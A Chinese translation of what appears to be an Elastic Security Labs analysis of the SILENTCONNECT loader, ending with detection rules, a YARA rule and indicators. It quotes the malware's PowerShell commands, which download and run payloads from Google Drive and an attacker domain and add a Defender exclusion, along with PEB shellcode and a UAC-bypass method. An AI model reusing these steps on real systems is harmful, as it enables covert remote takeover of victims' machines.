简介
Elastic Security Labs 观察到恶意活动提供了一种多阶段感染,其中涉及以前未记录的加载器。当用户在数字邀请函的幌子下被转移到 Cloudflare Turnstile 验证码页面时,感染就开始了。点击链接后,一个 VBScript 文件就会下载到机器上。执行时,脚本会检索 C# 源代码,然后使用 PowerShell 在内存中编译和执行。在这些活动中观察到的最终有效载荷是 ScreenConnect,这是一种用于控制受害者机器的远程监控和管理(RMM)工具。
这一活动突出了一个共同的主题:攻击者滥用 "离岸二进制文件"(LOLBins)来促进执行,并使用可信的托管服务提供商,如 Google Drive 和 Cloudflare。虽然该装载机小巧而简单,但似乎相当有效,而且自 2025 年 3 月以来一直未引起人们的注意。
关键要点
- SILENTCONNECT 是一种新发现的装载机,目前正在被广泛使用
- 该加载程序会悄无声息地安装 ConnectWise ScreenConnect,从而实现对受害者机器的键盘访问。
- 分发 SILENTCONNECT 的活动使用 Cloudflare 和 Google Drive 的托管基础设施
- SILENTCONNECT 使用 NT API 调用和 PEB 伪装,包括 Windows Defender 排除和用户账户控制 (UAC) 旁路。
SILENTCONNECT 感染链
在三月的第一周,我们的团队观察到一种生活在陆地外的感染,在短时间内产生了多个行为警报。
最初的 VBScript 下载触发了我们的 "从互联网下载的可疑 Windows 脚本 "规则,这让我们可以使用相关的file.origin_url 和file.origin_referrer_url 字段透视感染源。
通过导航到原始登陆页面,我们观察到一个 Cloudflare Turnstile 验证码页面。点击人工验证复选框后,一个 VBScript 文件 (E-INVITE.vbs) 就会下载到机器上。
以下是登陆页面的源代码,我们可以看到 VBScript 文件 (E-INVITE.vbs) 托管在 Cloudflare 的对象存储服务上 r2.dev.
以下是上个月观察到的与这些活动有关的其他 VBScript 文件名:
Alaska Airlines 2026 Fleet & Route Expansion Summary.vbsCODE7_ZOOMCALANDER_INSTALLER_4740.vbs2025Trans.vbsProposal-03-2026.vbs2025Trans.vbsupdatv35.vbs
VBS 脚本使用一个儿童故事作为诱饵,并使用Replace() 和Chr() 功能来隐藏下一阶段,因此混淆程度极低。
该脚本会对以下命令行输出进行防混淆处理:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass
-command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null;
curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download'
-o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds
8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep
-Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source
-Language CSharp; [HelloWorld]::SayHello()""
此代码段使用 PowerShell 调用curl.exe 从 Google Drive 下载 C# 有效载荷,然后以文件名 (C:\Windows\Temp\FileR.txt) 写入磁盘。
检索到的 C# 源代码使用了一种称为 "常量展开 "的混淆技术,以隐藏用于内存反射执行的字节数组。
最后,PowerShell 命令会在运行时使用Add-Type 编译下载的 C# 源 (FileR.txt),将其作为 .NET 程序集加载到内存中,并通过[HelloWorld]::SayHello() 方法执行。
无声连接
下文将介绍我们称之为 SILENTCONNECT 的 .NET 加载器系列。该样本相对较小且简单明了,主要用于下载远程有效载荷(ScreenConnect)并将其悄无声息地安装到系统上。
在睡眠 15 秒后,恶意软件通过NtAllocateVirtualMemory 使用本地 Windows API 函数分配可执行内存,并为该区域分配PAGE_EXECUTE_READWRITE 权限。SILENTCONNECT 存储了一个嵌入式字节数组,其中包含以下 shellcode:
53 ; push rbx
48 31 DB ; xor rbx, rbx
48 31 C0 ; xor rax, rax
65 48 8B 1C 25 60000000 ; mov rbx, gs:[0x60] ← PEB address (x64)
48 89 D8 ; mov rax, rbx ← return value
5B ; pop rbx
C3 ; ret
这个小的 shellcode 会通过Marshal.Copy 移动到最近分配的内存中。接下来,恶意软件会执行 shellcode 以获取进程环境块 (PEB) 的地址。这种方法允许恶意软件直接访问进程结构,同时避免使用通常会被安全产品监控或挂钩的更高级 Windows API。
在委托设置阶段,SILENTCONNECT 使用ntdll.dll (本地 API)和ole32.dll (COM API)中的 NTAPI,使恶意软件能够直接从.NET 调用NtWriteVirtualMemory 或CoGetObject 等函数。
PEB 伪装
SILENTCONNECT 实现了一种常见的恶意软件规避技术,即 PEB 伪装。所有 Windows 进程都包含一个由内核维护的结构,称为进程环境块(PEB)。该结构包含一个已加载模块的链接列表。每个链表内都有包含模块基地址、DLL 名称和完整路径的条目。SILENTCONNECT 浏览此结构,找到自己的模块,然后将其BaseDLLName 和FullDllName 覆盖到winhlp32.exe 和c:\windows\winhlp32.exe 。
包括 EDR 在内的许多安全工具都将 PEB 作为检测可疑活动的可信源。这种技术通过使用一个无害的名称和路径来隐藏自己,从而骗过这些产品。
在启动有效载荷之前,恶意软件会使用LaunchElevatedCOMObjectUnsafe 函数实现 UAC 旁路,并将单名字符串反转::wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:
如果恶意软件处于未提升状态,则会尝试通过CMSTPLUA COM 接口使用 UAC 旁路技术。作为一种简单的混淆技术,发射参数以相反的顺序存储在字符数组中。
该混淆命令的第一部分为.exe 文件添加了 Microsoft Defender 排除项。
$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure)
-ExclusionExtension $s -Force;
以下是在 Defender 中执行该命令的结果,其中添加了异常:
添加排除项后,SILENTCONNECT 会创建一个临时目录 (C:\Temp) 并使用curl.exe 将恶意 ScreenConnect 客户端安装程序下载到其中。然后,它会调用msiexec.exe 悄然安装 RMM。下面是命令行的后半部分:
New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L
'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
-o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i
C:\Temp\ScreenConnect.ClientSetup.msi'"
安装完成后,ScreenConnect 客户端将作为 Windows 服务持续存在,并通过 TCP 端口8041 向敌方控制的 ScreenConnect 服务器发出信标bumptobabeco[.]top 。
无声连接运动
这些活动的主要初始访问载体是从网络钓鱼电子邮件开始的。我们从去年的一次活动中发现了一个上传到 VirusTotal 的电子邮件样本 (YOU ARE INVITED.eml)。
该电子邮件发送自dan@checkfirst[.]net[.]au ,冒充一家虚假公司的项目建议书邀请函。电子邮件正文邀请收件人点击链接提交建议书。该链接会将受害者重定向至攻击者控制的基础设施imansport[.]ir/download_invitee.php 。
值得注意的是,该威胁行为者在所有被入侵网站上重复使用了相同的 URI 路径 (download_invitee.php) 来传输有效载荷。这种一致的命名惯例是一种不良的操作安全(OPSEC)做法,因为它为跟踪该活动的基础设施以及通过 VirusTotal 搜索(如entity:url url:download_invitee.php )确定其他被入侵主机提供了一个可靠的支点。
我们还发现多个合法网站被入侵,并利用相同的基础设施为其他欺诈计划提供便利。例如,一个 URL (solpru[.]com/process/docusign[.]html) 承载着一个与 DocuSign 电子签名平台非常相似的页面。
伪造的DocuSign 门户网站
通过下载预先配置好的 ScreenConnect MSI,该链可完全跳过 SILENTCONNECT,自动连接到演员的服务器 (instance-lh1907-relay.screenconnect[.]com)。
不同域上的另一个页面冒充 Microsoft Teams 页面,要求用户下载文件,从而导致 Syncro RMM 代理被滥用。
结论
Elastic Security Labs 不断发现威胁行为者对 RMM 的采用有所增加。由于这些工具由合法的 IT 部门使用,在大多数企业环境中通常会被忽视,并被视为 "可信 "工具。企业必须保持警惕,对其环境进行审计,以防未经授权使用 RMM。
虽然这个特殊的组织通过编写自定义加载器更进一步,但其感染链的大部分都利用 Windows 二进制程序来逃避检测,并混入正常的系统活动中。滥用 Google Drive 和 Cloudflare 等可信平台进行有效载荷托管和引诱交付,使检测工作变得更加复杂,因为基于网络的控制措施不可能完全阻止指向这些服务的流量。由于威胁行为者继续倾向于简单和隐蔽,而不是复杂,因此这种性质的活动很可能会持续存在并不断演变。
SILENTCONNECT 和 MITRE ATT&CK
Elastic 使用MITRE ATT&CK框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。
战术
策略代表了技术或子技术的原因。 这是对手的战术目标:采取行动的原因。
技术
技术代表对手如何通过采取行动来实现战术目标。
检测 SILENTCONNECT
- 通过 CURL 传输输入工具
- 通过签名二进制代理连接到 Web 服务
- 通过 ICMLuaUtil 提升权限的 COM 接口绕过 UAC
- 可疑的 PowerShell 执行
- 通过 WMI 设置的 Windows Defender 排除项
- 可疑的 Windows Powershell 参数
- 通过 Windows 的 Curl 进行潜在文件传输
- 连接常用网络服务
雅拉
Elastic Security 创建了以下 YARA 规则来识别此活动:
rule Windows_Trojan_SilentConnect_cdc03e84 {
meta:
author = "Elastic Security"
creation_date = "2026-03-04"
last_modified = "2026-03-04"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.SilentConnect"
reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
license = "Elastic License v2"
strings:
$peb_evade = "winhlp32.exe" wide fullword
$rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
$masquerade_peb_str = "MasqueradePEB" ascii fullword
$guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
$unique_str = "PebFucker" ascii fullword
$peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
$rev_screenconnect = "tcennoCneercS" ascii wide
condition:
5 of them
}
观察结果
本研究讨论了以下可观察的结果。
| 可观测 | 类型 | 名称 | 参考 |
|---|---|---|---|
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3 | SHA-256 | E-INVITE.vbs | VBScript |
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37 | SHA-256 | 2025Trans.vbs | VBScript |
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03 | SHA-256 | FileR.txt | C# |
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7 | SHA-256 | ScreenConnect.ClientSetup.msi | SCREENCONNECT 安装程序 |
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db | SHA-256 | 无声连接 | |
86.38.225[.]59 | IPv4 地址 | ScreenConnect C2 服务器 | |
bumptobabeco[.]top | 域 | ScreenConnect C2 服务器 | |
instance-lh1907-relay.screenconnect[.]com | 域 | ScreenConnect C2 服务器 | |
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec | SHA-256 | ViewDocs.exe | Syncro 安装程序 |
